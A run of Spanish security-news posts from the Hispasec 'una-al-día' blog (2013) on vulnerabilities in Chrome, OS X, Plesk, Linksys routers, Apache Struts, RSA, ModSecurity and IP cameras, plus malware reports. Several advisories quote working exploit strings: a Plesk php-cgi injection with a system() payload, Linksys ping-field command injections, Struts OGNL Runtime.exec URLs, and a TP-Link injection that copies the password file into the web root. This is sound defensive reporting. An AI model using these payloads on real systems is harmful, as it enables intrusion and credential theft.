Hispasec @unaaldia

http://www.google.es/intl/es/chrome/

Nueva versión de Google Chrome corrige 12 vulnerabilidades

noreply@blogger.com (Hispasec) — Wed, 12 Jun 2013 15:58:00 +0000

Google ha publicado la versión 27.0.1453.110 de su navegador Chrome para todas las plataformas (Windows, Linux, Mac y Chrome Frame). Esta nueva versión corrige doce vulnerabilidades, de las que diez han sido calificadas de importancia alta, y solo una como crítica.

La vulnerabilidad crítica se refiere a una corrupción de memoria en el manejo de sockets SSL, con identificador CVE-2013-2863, descubierta por Sebastien Marchand, de la comunidad de desarrolladores de Chromium.

Las de importancia alta se componen fundamentalmente de errores de uso de memoria previamente liberada, entre ellas en el manejo de audio en HTML5 (CVE-2013-2858), workers accediendo a APIs de bases de datos (CVE-2013-2860), datos de entrada (CVE-2013-2856), imágenes (CVE-2013-2857) y SVGs (CVE-2013-2861). Estas tres últimas han sido descubiertas por miaubiz, y que ha sido premiado con 3000 dólares en total. Entre las de importancia alta también está la mayor recompensa de esta actualización, que le reporta a Collin Payne 2000 dólares por una vulnerabilidad de un mal manejo pasado al renderizador que solo afecta a sistemas Windows, con identificador CVE-2013-2854.

También se ha solucionado una vulnerabilidad de importancia media de corrupción de memoria en la API de herramientas para desarrolladores, descubierta por daniel.zulla.

Además, el equipo de Chrome ha solucionado varios fallos de diversa consideración que se han encontrado en auditorías internas y otras iniciativas, reuniéndolos todos bajo el identificador CVE-2013-2865, con importancia alta.

Esta actualización está disponible a través del propio navegador vía Chrome Update automáticamente o desde el sitio oficial de descarga:

Más información:

Stable Channel Update

http://googlechromereleases.blogspot.de/2013/06/stable-channel-update.html

Francisco López

http://www.securelist.com/en/blog/8106/The_most_sophisticated_Android_Trojan

Avanzado malware para Android aprovecha vulnerabilidades desconocidas

noreply@blogger.com (Hispasec) — Tue, 11 Jun 2013 12:02:00 +0000

Kaspersky ha vuelto a encontrar un troyano de lo más sofisticado: aprovecha fallos desconocidos, actúa con sigilo, roba todo tipo de información... y está programado para Android. Las características lo sitúan entre los más avanzados encontrados hasta la fecha para esta plataforma.

Android es la plataforma móvil contra la que se ha volcado el malware de forma masiva. Obvian los iPhone (por su política de firma de aplicaciones), Blackbery y Windows Phone. Los usuarios de Android son los que deben preocuparse por el malware en estos momentos por como ya se ha mencionado en una-al-día, es el líder indiscutible. Este malware encontrado introduce novedades interesantes.

El malware para Android se puede meter en cuatro grandes sacos: Principalmente los que utilizan los mensajes premium para monetizar rápidamente la infección. El sistema es infectado y permite el envío automático de mensajes a servicios premium SMS. Otra variante es el malware en Android como "complemento" de los troyanos bancarios. Oras menos conocidas como las que, siguiendo los pasos del malware para escritorio, bloquean el teléfono buscando un rescate o que muestran publicidad. También existe el malware que inyecta publicidad en todas las aplicaciones... Y por último están las aplicaciones espía que permiten a un tercero obtener información del teléfono o de la actividad del usuario. Aquí es donde innova Backdoor.AndroidOS.Obad, como lo han bautizado.

Ofuscación de código y aprovechamiento de vulnerabilidades

El malware habitual para Windows utiliza todo tipo de trucos y astucias para evitar la ingeniería inversa. En Android esto no es tan habitual. Los investigadores utilizan DEX2JAR, que convierte los APK en ficheros JAR. Estos JAR, una vez descompilados, permiten una lectura limpia del código del malware y así entenderlo. Obad lo tiene en cuenta y actúa de forma que, aprovechando un fallo en DEX2JAR, evita la conversión y dificulta su análisis.

También construye de manera especial el AndroidManifest.xml, fichero de configuración que acompaña a las aplicaciones y que, sin cumplir los estándares, es procesado por el sistema operativo. Por último aprovecha otro error del sistema, previamente desconocido, que permite a la aplicación tener los privilegios de "Device Administrator" (más privilegios que el usuario normal que usa el teléfono) sin que aparezca en la lista de aplicaciones con esos privilegios. Esto, añadido a que corre totalmente en el "background", impide acceder a ningún punto donde se pueda borrar la aplicación a nivel "normal". También intenta hacerse "root" ejecutando el comando "su id", y así también comprobar si el terminal está "rooteado".

Por último, cifra y ofusca todos las URL de sus sistemas de control externos a los que envía y desde los que recibe información.

Qué hace

Fundamentalmente, robar información del teléfono. Pero sobre todo, lo interesante es saber qué instrucciones recibe de sus sistemas de control. Las más relevantes son:

Enviar mensajes SMS a números que se le pasan por parámetro y bloquear las respuestas.
Recibir el saldo de la cuenta a través de USSD (Unstructured Supplementary Service Data).
Actuar como proxy.
Conectarse a diferentes direcciones (para actuar como clicker en anuncios, por ejemplos)
Abrir una consola en el teléfono y ejecutar comandos.
Enviar ficheros a los dispositivos Bluetooth alrededor.

Kaspersky también publica cómo se realiza la comunicación (a través de JSON, como viene siendo habitual) con los atacantes.

Como bien indican en la conclusión de su estudio, este malware se acerca en sus prácticas a lo que podría entenderse como comportamientos habituales del malware en el mundo Windows. Desde luego, ha ganado en sofisticación, pero también resulta avanzado el uso de vulnerabilidades concretas previamente desconocidas para Android, algo poco habitual incluso para el malware en Windows.

Más información:

The most sophisticated Android Trojan

Sergio de los Santos

http://support.apple.com/kb/HT5730

Twitter: @ssantosv

Apple publica la versión de 10.8.4 de OS X y corrige varias vulnerabilidades

noreply@blogger.com (Hispasec) — Mon, 10 Jun 2013 14:53:00 +0000

Apple ha publicado una actualización de seguridad para su familia de sistemas operativos OS X junto a la nueva versión 10.8.4 del sistema. Entre otras mejoras, soluciona un total de 33 vulnerabilidades en varios de sus componentes. Su navegador Safari también se actualiza a la versión 6.0.5 y soluciona 26 fallos de seguridad.

La actualización está disponible para los sistemas Mac OS X y Lion, ambos con sus correspondientes versiones de servidor, y Mountain Lion. La mayor parte se debe a actualizaciones de OpenSSL, 12 en total, que pueden permitir la denegación del servicio o la revelación de la clave privada. También importante son las de Ruby (8 vulnerabilidades), que podrían permitir la ejecución de código arbitrario, entre otros impactos.

También se han solucionado varias vulnerabilidades en SMB, Quicktime, QuickDraw Manager,CFNetwork, CoreAnimation, CoreMedia Playback, CUPS, Directory Service y Disk Management.

Apple también anuncia que a partir de esta revisión, las aplicaciones Java Web Start descargadas desde la red deben estar firmadas para que se permita su ejecución. Si Gatekeeper (aplicación de seguridad que revisa las aplicaciones que se instalan en el sistema) detecta que no están correctamente firmadas, bloqueará su ejecución.

Por otro lado, Safari actualiza su versión a la 6.0.5, solucionando 26 vulnerabilidades en Webkit para los sistemas Lion, Lion Server y Mountain Lion. La mayoría de estas pueden provocar una denegación de servicio y potencial ejecución de código arbitrario debido a la corrupción de la memoria. Se corrigen, además, fallos que pueden permitir ataques cross-site scripting.

Más información:

About the OS X Mountain Lion v10.8.4 Update

OS X Mountain Lion v10.8.4 and Security Update 2013-002

http://support.apple.com/kb/HT5784

Safari 6.0.5

http://support.apple.com/kb/HT5785

Francisco López

http://www.youtube.com/watch?v=jZbLwfQ7aPs

Publicada en YouTube la séptima conferencia UPM TASSI "Mundo hacking" de D. Román Ramírez

noreply@blogger.com (Hispasec) — Sun, 09 Jun 2013 09:00:00 +0000

Publicada en YouTube la séptima y última conferencia UPM TASSI "Mundo hacking" de D. Román Ramírez, de Ferrovial y RootedCON

Se encuentra disponible en el canal YouTube de la Universidad Politécnica de Madrid la séptima y última conferencia del IX Ciclo UPM TASSI 2013 con el título "Mundo hacking", impartida en el Campus Sur de esta universidad el 22 de mayo de 2013 por D. Román Ramírez, Ferrovial y RootedCON.

En la sección Conferencias TASSI del servidor web de Criptored encontrarás la presentación en pdf y el material sonoro utilizado por el ponente, así como todas las conferencias de este noveno y anteriores ciclos UPM TASSI.

http://www.criptored.upm.es/paginas/docencia.htm#TASSI2013

Acceso a todas las conferencias de 2013 desde el Canal YouTube UPM (más de 10.000 reproducciones en sólo 3 meses)

http://www.youtube.com/user/UPM/search?query=TASSI+2013

Jorge Ramió

Coordinador Ciclo UPM TASSI

Microsoft publicará cinco boletines de seguridad el próximo martes

noreply@blogger.com (Hispasec) — Sat, 08 Jun 2013 08:00:00 +0000

Como de costumbre, Microsoft ha dado un adelanto de los boletines que serán publicados el próximo martes 11 de junio en su ciclo de actualizaciones. Serán cinco boletines y afectarán a Internet Explorer, Microsoft Windows y Microsoft Office con diferentes impactos.

En esta ocasión solo uno de los boletines ha sido calificado como crítico. Soluciona fallos que podría permitir la ejecución de código remoto y afecta a Internet Explorer en versiones desde la 6 hasta la 10, dependiendo del sistema operativo. El resto de boletines ha sido marcado como importante.

El segundo tratará vulnerabilidades que podrían revelar información sensible para Microsoft Windows en las versiones XP, 2003, Vista, 2008 Server, 7 y 8, pero solo en arquitecturas de 32 bits.

Los boletines tercero y cuarto afectan también al sistema operativo Windows, esta vez en sus versiones Vista, Server 2008 (también R2), 7, 8, Server 2012 y RT. Solucionarán problemas que pueden dar lugar a la denegación de servicio y elevación de privilegios, respectivamente.

Finalmente, una última actualización tratará vulnerabilidades que podrían desembocar en la ejecución de código remoto, esta vez en Office 2003 y 2011 para Mac.

No se sabe si estos boletines corregirán el problema de elevación de privilegios dado a conocer hace poco por Tavis Ormandy y del que existe ya prueba de concepto.

Junto con estos boletines, Microsoft también actualizará su herramienta "Microsoft Windows Malicious Software Removal Tool", disponible desde Windows Update, Microsoft Update, Windows Server Update Services y su centro de descargas.

Más información:

Microsoft Security Bulletin Advance Notification for June 2013

http://technet.microsoft.com/en-us/security/bulletin/ms13-jun

Francisco López

https://blogs.oracle.com/security/entry/maintaining_the_security_worthiness_of

Oracle desvela el futuro de la seguridad de Java en el navegador

noreply@blogger.com (Hispasec) — Fri, 07 Jun 2013 10:11:00 +0000

Oracle se ha pronunciado sobre la seguridad de Java y la gestión de sus applets. Como responsable de una inmensa mayoría de las infecciones a través del navegador, es interesante conocer qué planes tiene la compañía para este producto en el futuro.

Oracle debe tomar cartas en el asunto. Desde principios de 2013 ha comenzado una estrategia para mejorar la seguridad de Java en el navegador, pero el tiempo se le echa encima. Además, Oracle es una compañía que no se caracteriza por dinamizar sus productos. Es muy conservadora y en seguridad, siempre ha supuesto un considerable desastre que les ha acarreado una fama de la que les cuesta librarse. El desarrollador jefe de Java, Nandini Ramani, ha escrito un post hablando del futuro de la seguridad en Java, sus planes y una pequeña valoración del estado del producto.

Si en 2012 se cerraron 58 vulnerabilidades, en lo que llevamos de 2013 (solo la mitad) ya se han solucionado 97. Ramani achaca este incremento a que desde la compra del producto a Sun, Java está ahora sometido a los estrictos estándares de seguridad de Oracle. De hecho explica que se están usando más "herramientas automáticas" para "abarcar más código" y evitar así que se introduzcan nuevas vulnerabilidades.

Los números no son definitivos para valorar la seguridad. Como ya se ha mencionado, Chrome en cantidad de vulnerabilidades corregidas es un desastre pero se puede considerar el navegador más seguro por otros factores. En este caso el problema es además de la cantidad, la calidad: fallos graves y muy relevantes que han sido corregidos muy tarde, que siguen siendo tremendamente explotados, que son sencillos de aprovechar por los atacantes, o que han surgido en forma de 0day. El problema no es que corrija gran cantidad de fallos (que puede considerarse algo positivo y bien visto) sino que la "calidad" de estos fallos es muy atractiva para los atacantes. De esos casi 100 fallos en 2013, se explotan activamente muy pocos, apenas media docena, que son muy efectivos entre las víctimas.

Así que a partir de octubre, Oracle publicará parches de forma coordinada con el resto de sus productos. Cuatro veces al año y cada tres meses. Esta medida va en línea con la que adoptó hace poco y en la que se propuso una nueva estrategia de numeración de sus versiones. Ramani también afirma lo que ya veníamos avisando que tendría que pasar tarde o temprano. Terminará por bloquear por defecto los applets no firmados y los autofirmados. En Java 7 u21 se introdujo algo positivo: estar firmado ya no significaba necesariamente salir de la sandbox. Así que siguen peleando en este aspecto para que la criptografía sea realmente útil en su modelo de seguridad.

También parece que van a modificar su pobre modelo de lista negra de applets. Se trata de un fichero de texto plano que se descarga con cada nueva versión. Van a dinamizarlo publicando actualizaciones diarias. Esto es curioso puesto que hasta ahora, se actualizaba muy de vez en cuando. Apenas contiene 40 bloqueados en estos momentos y la cifra no ha variado demasiado en los últimos años. Esto terminará en la activación del Online Certificate Status Protocol (OCSP) por defecto. Por último, entre otras medidas, planean un sistema de seguridad que sea más útil para un administrador, y le permita elegir durante la instalación qué nivel de seguridad proporcionar.

En el apartado de servidor, debido a la mala fama que le está otorgando el Java "de cliente" en las empresas, separarán claramente el "Server JRE" para que los administradores de servidores no tengan miedo de instalar su parte servidora debido a los problemas en el plugin (parte cliente), y reducir así el vector de ataque.

Estas son medidas lógicas, cuyas carencias ya veníamos criticando en una-al-día desde hace tiempo como fallos básicos en la seguridad en conjunto de Java y los applets. Al menos se muestra la voluntad de cambio, aunque sea tarde y en un periodo no determinado (probablemente necesite todo 2013 para realizar estos movimientos).

Más información:

Maintaining the security-worthiness of Java is Oracle’s priority

Sergio de los Santos

http://seclists.org/fulldisclosure/2013/Jun/21

Twitter: @ssantosv

Vulnerabilidad en Parallels Plesk permite ejecución remota de código

noreply@blogger.com (Hispasec) — Thu, 06 Jun 2013 11:31:00 +0000

Kingcope ha publicado en la lista Full Disclosure un exploit que aprovecha un fallo de configuración en los sistemas Parallels Plesk. Permite la ejecución remota de código PHP y por tanto, la inyección de comandos en el sistema operativo. El exploit no afecta a las últimas versiones de Plesk (10 y 11), pero sí a versiones que han terminado o están a punto de finalizar su ciclo de vida.

El fallo aprovecha una directiva scriptAlias en php-cgi.conf para llegar directamente al binario de PHP en el sistema. La directiva es:

scriptAlias /phppath/ "/usr/bin/"

Esto permite que se puedan hacer peticiones HTTP sobre /phppath/php, que serían ejecutadas /usr/bin/php. En el exploit, Kingcope pasa como parámetro de la petición una cadena en codificación URL, que decodificada:

POST /phppath/php?-d allow_url_include=on -d safe_mode=off –d suhosin.simulation=on -d disable_functions="" -d open_basedir=none –d auto_prepend_file=php://input -n

Está pasando directivas de inicio a php. Estas desactivan algunas medidas de seguridad (safe_mode=off, suhosin.simulation=on), permiten la inclusión de ficheros a través de URL, la ejecución de ficheros fuera del árbol de directorios (open_basedir=none). Finalmente, fuerza la inclusión del contenido POST en bruto que se va a pasar a continuación con auto_prepend_file=php://input -n. El contenido es:

User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Content-Type: application/x-www-form-urlencoded Content-Length: 82 <?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>

Lo que terminará ejecutando el código PHP y la llamada a system con los permisos del servidor Apache, que ejecutará comandos del sistema.

Este método difiere de otros similares (como el famoso CVE-2012-1823, descubierto el año pasado) en que la llamada al binario de php es directa, sin utilizar ningún fichero php intermedio. En aquel caso se hacía uso de un envoltorio para php-cgi, pero ya en el artículo se indicaba que se podían obtener los mismos resultados si el binario se copiara directamente al directorio.

Las versiones en las que se ha probado la vulnerabilidad son la 8.6 y varias versiones 9 de Plesk en sistemas Red Hat, CentOS y Fedora y bajo arquitecturas i386 y x86_64. No se ha probado en versiones Windows, aunque esto no significa que no sean vulnerables. La versión 11 de Plesk no está afectada.

La vulnerabilidad se ha publicado solo unos días antes de que la versión 9 de Plesk acabe su ciclo de vida el día 9 de junio, por tanto Parallels tiene unos cuatro días para corroborar el fallo y publicar una solución, aunque también podría instar a actualizar a la versión 10 y dejar el fallo sin solucionar, lo que parece poco probable puesto que cuenta con una gran base de usuarios.

Más información:

Plesk Apache Zeroday Remote Exploit

Parallels Plesk Panel Lifecycle Policy

http://www.parallels.com/support/policy/plesk-lifecycle/

Plesk 0-Day Targets Web Servers

http://blogs.cisco.com/security/plesk-0-day-targets-web-servers/

Francisco López

http://blog.spiderlabs.com/2013/05/under-the-hood-linksys-remote-command-injection-vulnerabilities.html

Inyección remota de código en routers WiFi Linksys

noreply@blogger.com (Hispasec) — Wed, 05 Jun 2013 08:52:00 +0000

El investigador Jason Leyrer, de Trustwave ha publicado un artículo donde analiza dos fallos de seguridad en routers WiFi de la marca Linksys de Cisco. Estas vulnerabilidades permiten la ejecución de código remoto a través de la inyección de comandos en el sistema operativo subyacente, sin necesidad de autenticación en algunos casos. Están presentes en modelos cuyo soporte ya ha acabado.

Leyrer describe una vulnerabilidad descubierta por él y otra por encontrada en otros modelos del fabricante por Michael Messner. Se trata de sendas inyecciones de comandos al sistema operativo subyacente del router a través de la interfaz de gestión, más concretamente en la página de diagnóstico.

Las vulnerabilidades aprovechan una falta de validación en el contenido suministrado por el usuario en los campos ping_ip y ping_size. En el primer caso, al agregar dos caracteres "&" (ampersand) tras una IP válida en codificación URL y seguidos del comando a ejecutar, se consigue la inyección de comandos. Esto se traduce en una petición POST con parámetros. Por ejemplo:

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1%26%26reboot&ping_times=5&ping_size=32&traceroute_ip=

Es interpretada por el sistema como:

ping -t 30 -c 5 -R 66560 -s 32 -f /tmp/ping.log 127.0.0.1&&reboot &

Al terminar correctamente el comando ping, se ejecuta el comando inyectado, en este caso reboot, que reiniciaría el router. Los comandos inyectados con este método no pueden contener espacios, ya que no se construirán.

Linksys E1000

Esta vulnerabilidad está presente en el modelo E1000. Los modelos E1200/E3200 sí realizan validación de este campo y no están afectados.

De manera similar se podría explotar la inyección de comandos a través del campo ping_size. Sin embargo, el sistema añade el resto de parámetros del comando ping tras el contenido inyectado, lo que provoca que no sea valido. Por ejemplo:

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26ls%20%2Dal&traceroute_ip=

Se ejecuta como:

ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&ls -al -f /tmp/ping.log 127.0.0.1 &

Lo cual no es válido. Para solucionar esto, se puede aprovechar la restricción de tamaño en los comandos del sistema. Si se adjuntan tras el comando una gran cantidad de caracteres espacio codificados, el comando se truncará, dejando fuera el resto de parámetros:

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_times=5&ping_size=32%20127.0.0.1%26%26ls%20%2Dal%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&traceroute_ip=

En el sistema:

ping -t 30 -c 5 -R 66560 -s 32 127.0.0.1&&ls -al

Utilizando estos métodos, se podría conseguir una shell remota.

En el caso del modelo E1000, no es necesario ningún tipo de autenticación para explotar las vulnerabilidades, ya que el servidor HTTP no la pide. En cambio, para el resto de modelos sería necesario autenticarse solo si el router no tiene su configuración de fábrica.

Leyrer señala que de los tres modelos vulnerables probados, sólo uno, el E1200, sigue teniendo soporte por parte del fabricante, mientras que los otros dos (E1000 y E3200) no recibirán ninguna actualización que resuelva los fallos. Para estos, recomienda desactivar la interfaz de administración, aunque esto puede no ser suficiente para evitar un ataque cross-site request forgery.

Más información:

Under The Hood: Linksys Remote Command Injection Vulnerabilities

Multiple Vulnerabilities in Linksys E1500/E2500

http://www.s3cur1ty.de/m1adv2013-004

Francisco López

http://www.securelist.com/en/blog/208195033/Malicious_PACs_and_Bitcoins

Nuevo malware para robar bitcoins basado en proxy

noreply@blogger.com (Hispasec) — Tue, 04 Jun 2013 11:42:00 +0000

El malware basado en proxy no es nuevo, pero vamos a aprovechar la circunstancia de que se ha avistado una muestra que intenta robar bitcoins con esta técnicapara repasar en qué consisten y, sobre todo, cómo los bitcoins y las compañías que los gestionan se pueden considerar ya prácticamente un objetivo en sí mismo como cualquier entidad bancaria.

Los troyanos basados en proxy

Esta técnica se usa desde 2007. Está basada, como tantas otras, en la redirección del usuario. En esta categoría entra el pharming tradicional (cambiar la resolución de dominios a nivel de sistema), el uso de "rogue DNS" (cambiar los DNS de sistema), etc. El troyano basado en proxy está fundamentado en el cambio discrecional (o no) del proxy de sistema según el dominio que se quiera atacar. El tráfico pasa por el proxy del atacante y, con él, las claves y contraseñas. O bien el proxy redirige a otro lugar donde espera un clon de la página objetivo.

Las técnicas basadas en proxy, son en teoría detectables por el usuario. Para que sea útil para el atacante, debe descifrar el tráfico TLS/SSL de alguna forma o incluso redirigir directamente al usuario a un phishing, y esto deriva en fallos en el certificado o cambios en la cadena de verificación. Pero suponen una manera efectiva de robar información a un coste similar (por bajo) al del phishing.

Cómo funcionan

Son muy populares en el malware brasileño. Consiguen su objetivo ayudándose de una característica propia de los navegadores: el PAC (proxy autoconfiguration). Se trata de código JavaScript que, colgado en alguna URL, es descargado e interpretado por el navegador para modificar su configuración. Por ejemplo, en Internet Explorer se añade una línea en:

Para automatizarlo, el troyano se encarga de, en Chrome y Firefox, modificar directamente el fichero prefs.js y en Internet Explorer, el registro correspondiente (el valor AutoConfigURL de Software\Microsoft\Windows\CurrentVersion\Internet Settings). El código necesario para configurar un proxy automática yselectivamente es, por ejemplo:

El código es bastante autoexplicativo. Aunque por supuesto, los atacantes lo ofuscan y vuelven a ofuscar con cualquier técnica para dificultar su lectura. En el caso concreto detectado contra la web mtgox.com de Brasil (una reputada web de intercambio de bitcoins), los atacantes colgaron este fichero PAC real en una web que simulaba proporcionar una actualización de Java (falsa, por supuesto) como reclamo:

La infección venía a su vez a través de un applet malicioso que modificaba la configuración del usuario.

Malware y bitcoins

Esta es una muestra más del interés que suscitan los bitcoins en el mundo del malware. Se puede considerar que las entidades que trabajan con esta moneda se han incorporado al conjunto de objetivos de los troyanos bancarios. Esto viene a unirse al conjunto de malware que ataca a esta moneda en otros sentidos: Por un lado los que infectan a usuarios para que minen (busquen) monedas sin su consentimiento y por otro los que roban la "cartera" de bitcoins a los usuarios que guarden ya códigos generados en ellas, haciéndose con la llave privada que se encuentra en wallet.dat.

Más información:

Malicious PACs and Bitcoins

Example PAC file

http://findproxyforurl.com/example-pac-file/

Hispasec @unaaldia: BitCoin: pronósticos cumplidos

http://unaaldia.hispasec.com/2011/06/bitcoin-pronosticos-cumplidos.html

Sergio de los Santos

http://struts.apache.org/release/2.3.x/docs/s2-014.html

Twitter: @ssantosv

Actualización de seguridad para Apache Struts

noreply@blogger.com (Hispasec) — Mon, 03 Jun 2013 21:22:00 +0000

Una nueva actualización de seguridad para el proyecto Apache Struts soluciona dos vulnerabilidades que podrían aprovecharse para ejecutar código remoto en el servidor. Ya hubo un intento de solucionar estos fallos en la versión inmediatamente anterior, aunque no se llegaron a cubrir todos los posibles vectores de ataque.

Struts en un entorno de trabajo de código abierto para el desarrollo de aplicaciones web en Java EE bajo el patrón MVC (Modelo Vista Controlador). Desarrollado por la Apache Software Foundation, en un primer momento formaba parte del proyecto Jakarta, convirtiéndose en proyecto independiente en 2005. La versión 1 de Struts llegó al final de su ciclo de vida el pasado abril, siendo la versión 2 la única soportada desde entonces.

La actualización de seguridad soluciona dos fallos, con identificadores CVE-2013-2115 y CVE-2013-1966, que podrían ser aprovechados para ejecutar código arbitrario en el servidor. Anteriormente se había publicado el boletín S2-013 que solucionaba estas vulnerabilidades, pero no en todos los vectores de ataque posibles, los cuales han sido publicados por el investigador Jon Passki, de Coverity.

Struts utiliza el lenguaje OGNL (Object-Graph Navigation Language), un lenguaje de expresiones de código abierto para Java. Los lenguajes de expresiones son utilizados para manejar propiedades de objetos Java de forma más sencilla, como la llamada a métodos, además de conversión entre elementos HTTP y objetos Java. Estos lenguajes suelen ser vulnerables a evaluación doble. Cuando se evalúa una expresión OGNL, su contenido se puede volver a evaluar como otra expresión OGNL independiente.

En la configuración de Struts se define como recoger las llamadas a las acciones cuando estas no están definidas (en general, Struts permite el uso de comodines para capturar las llamadas a las acciones):

1. <result>/example/{1}.jsp</result>

2. </action>

Inyectando código OGNL entre los caracteres ${} (o %{}), y usándolo como nombre de acción, Struts evalúa tanto el contenedor ${} como su contenido, que puede ser a su vez código OGNL como el visto anteriormente. Por ejemplo:

http://127.0.0.1:8080/struts2-blank/example/$%7B%23context['xwork.MethodAccessor.denyMethodExecution']=%21%28%23_memberAccess['allowStaticMethodAccess']=true%29,%28@java.lang.Runtime@getRuntime%28%29%29.exec%28'touch%20aaa'%29.waitFor%28%29%7D.action/

Nótese que la URL termina en .action. Este ejemplo cambia los valores de los campos xwork.MethodAccessor.denyMethodExecution y allowStaticMethodAccess, que son los que previenen la ejecución de código remoto.

La raíz del problema radica en varias llamadas encadenadas a varios métodos de procesamiento, desde StrutsResultSupport.conditionalParse a TextParseUtil.translateVariables, que a su vez llama a OgnlTextParser.evaluate, donde se evalúa el código OGNL interno.

Existe un problema similar en los métodos HttpHeaderResult.execute y DefaultUrlHelper.translateVariable. Por ejemplo, en una configuración vulnerable podemos definir que los accesos a la acción HelloWorld incluyan el parámetro mensaje:

<s:url id="url" action="HelloWorld">

<s:param name="request_locale"><s:property value="message"/></s:param>

</s:url>

Al acceder a un servidor con una petición cuyos parámetros estén especialmente manipulados, se pueden inyectar código OGNL en la etiqueta param, que será evaluada. Por ejemplo:

http://localhost:8080/struts2-blank/example/HelloWorld.action?message=${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}

Este código será usado como un parámetro en una etiqueta s:url o s:a, que será a su vez evaluado como OGNL y finalmente ejecutado. Este método es similar al demostrado en el boletín, con la diferencia de que en este se utiliza includeParam para definir que se hace con los parámetros de la petición.

Todas las versiones de Struts anteriores a 2.3.14.2 son vulnerables, por lo que se recomienda la instalación del parche lo antes posible.

Más información:

S2-014

Struts 2 Remote Code Execution via OGNL Double Evaluation

https://communities.coverity.com/blogs/security/2013/05/29/struts2-remote-code-execution-via-ognl-injection

Francisco López

http://archives.neohapsis.com/archives/bugtraq/current/att-0115/ESA-2013-040.txt

Vulnerabilidades en RSA Authentication Manager 8

noreply@blogger.com (Hispasec) — Sun, 02 Jun 2013 02:30:00 +0000

Se han reportado dos vulnerabilidades en RSA Authentication Manager que podrían permitir a un atacante obtener información sensible desde la red local. También de forma remota realizar una denegación de servicio y, potencialmente, comprometer el sistema afectado.

RSA Authentication Manager es un software de control de acceso para proteger los recursos y datos confidenciales en la empresa y en la nube, sin importar el dispositivo utilizado (desde dispositivos internos de la red empresarial o mediante móviles).

Las vulnerabilidades encontradas en RSA Authentication Manager son las siguientes:

CVE-2013-1899: una falta de comprobación podría permitir a un atacante remoto provocar una denegación de servicio (corrupción de ficheros), modificar la configuración establecida, e incluso (a usuarios autenticados) ejecutar código arbitrario a través de una petición de conexión a una base de datos cuyo nombre comience por el carácter '-'. Este error se debe a que la aplicación lleva de serie una versión de PostgreSQL vulnerable a este fallo.
CVE-2013-0947: un error relacionado con el inicio de sesión podía permitir a un atacante local obtener información confidencial de los archivos de registro (logs) y configuración.

Las vulnerabilidades afectan a RSA Authentication Manager 8, quedando exentas las versiones anteriores. Desde la página oficial se puede descargar un parche que soluciona ambos fallos de seguridad.

Más información:

ESA-2013-040: RSA Authentication Manager 8.0 Multiple Vulnerabilities

Juan José Ruiz

https://github.com/SpiderLabs/ModSecurity/blob/master/CHANGES

Denegación de servicio en ModSecurity 2.x

noreply@blogger.com (Hispasec) — Sat, 01 Jun 2013 10:00:00 +0000

Younes Jaaidi ha reportado un error en ModSecurity que podría ser aprovechado para causar una denegación de servicio de forma remota con solo enviar una petición HTTP especialmente manipulada.

ModSecurity es un cortafuegos de aplicaciones web (Web Application Firewall o WAF) de código abierto, multiplataforma, desarrollado por Trustwave's SpiderLabs y disponible para Apache, IIS y Nginx. ModSecurity, a diferencia de los sistemas de prevención y detección de intrusiones que se basan en firmas específicas para vulnerabilidades conocidas, hace uso de reglas que proporcionan una protección genérica contra vulnerabilidades aún desconocidas de aplicaciones web, monitorizando y bloqueando el uso de técnicas habituales para su explotación. Además permite monitorizar y analizar en tiempo real el tráfico HTTP y los registros (logs).

La vulnerabilidad se debe a un fallo cuando se utiliza un "Content-Type" desconocido (unknown) y se activa la acción "forceRequestBodyVariable" que podría causar una desreferencia a puntero nulo en msr->msc_reqbody_chunks->elts however msr->msc_reqbody_chunk.

Un atacante remoto podría aprovechar este error y, a través de una petición HTTP especialmente manipulada, conseguir que la aplicación dejase de funcionar.

La vulnerabilidad ha sido registrada como CVE-2013-2765 y afecta a las versiones de ModSecurity 2.7.3 y anteriores. Trustwave's SpiderLabs ha publicado ModSecurity 2.7.4 que soluciona este fallo de seguridad.

Más información:

ModSecurity Update Changes

Juan José Ruiz

http://DIRECCIÓN_IP/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales

Múltiples vulnerabilidades en diferentes cámaras IP (TP-Link, MayGion y Zavio)

noreply@blogger.com (Hispasec) — Fri, 31 May 2013 11:50:00 +0000

Nahuel Riva y Francisco Falcon de Core Exploit han descubierto y publicado múltiples vulnerabilidades en cámaras IP de los fabricantes TP-Link, MayGion y Zavio. También han desarrollado diversas pruebas de concepto para demostrar estos fallos de seguridad.

Las vulnerabilidades que afectan a las cámaras IP TP-Link son:

CVE-2013-2572: un atacante remoto podría utilizar los credenciales fijados en el fichero de configuración 'boa.conf' para acceder a la interfaz web de administración.
CVE-2013-2573: un error de falta de filtrado de parámetros de entrada en '/cgi-bin/mft/wireless_mft.cgi' podría permitir la inyección de comandos de forma remota.

Como prueba de concepto, se inyecta un comando en la siguiente URL para alojar una copia del fichero que almacena los credenciales de los usuarios en el directorio raíz del servidor web, aprovechando la vulnerabilidad CVE-2013-2573:

TP-Link TL-SC 3130G

quedando accesible desde la URL: http://DIRECCIÓN_IP/credenciales

Se ven afectados los dispositivos con firmware v1.6.18P12, y se han comprobado los modelos:

TL-SC 3130 (solo la vulnerabilidad CVE-2013-2572 afecta a este dispositivo)
TL-SC 3130G
TL-SC 3171G
TL-SC 4171G

TP-Link ha publicado una actualización de firmware que corrige los errores en su página web.

Por su parte las cámaras IP del fabricante MayGion presentan otras dos vulnerabilidades:

CVE-2013-1604: un atacante remoto no autenticado podría aprovechar un problema de ruta transversal para realizar un volcado de la memoria del dispositivo y obtener credenciales válidas de usuario.
CVE-2013-1605: un fallo de desbordamiento de memoria podría permitir la ejecución de código arbitrario de forma remota.

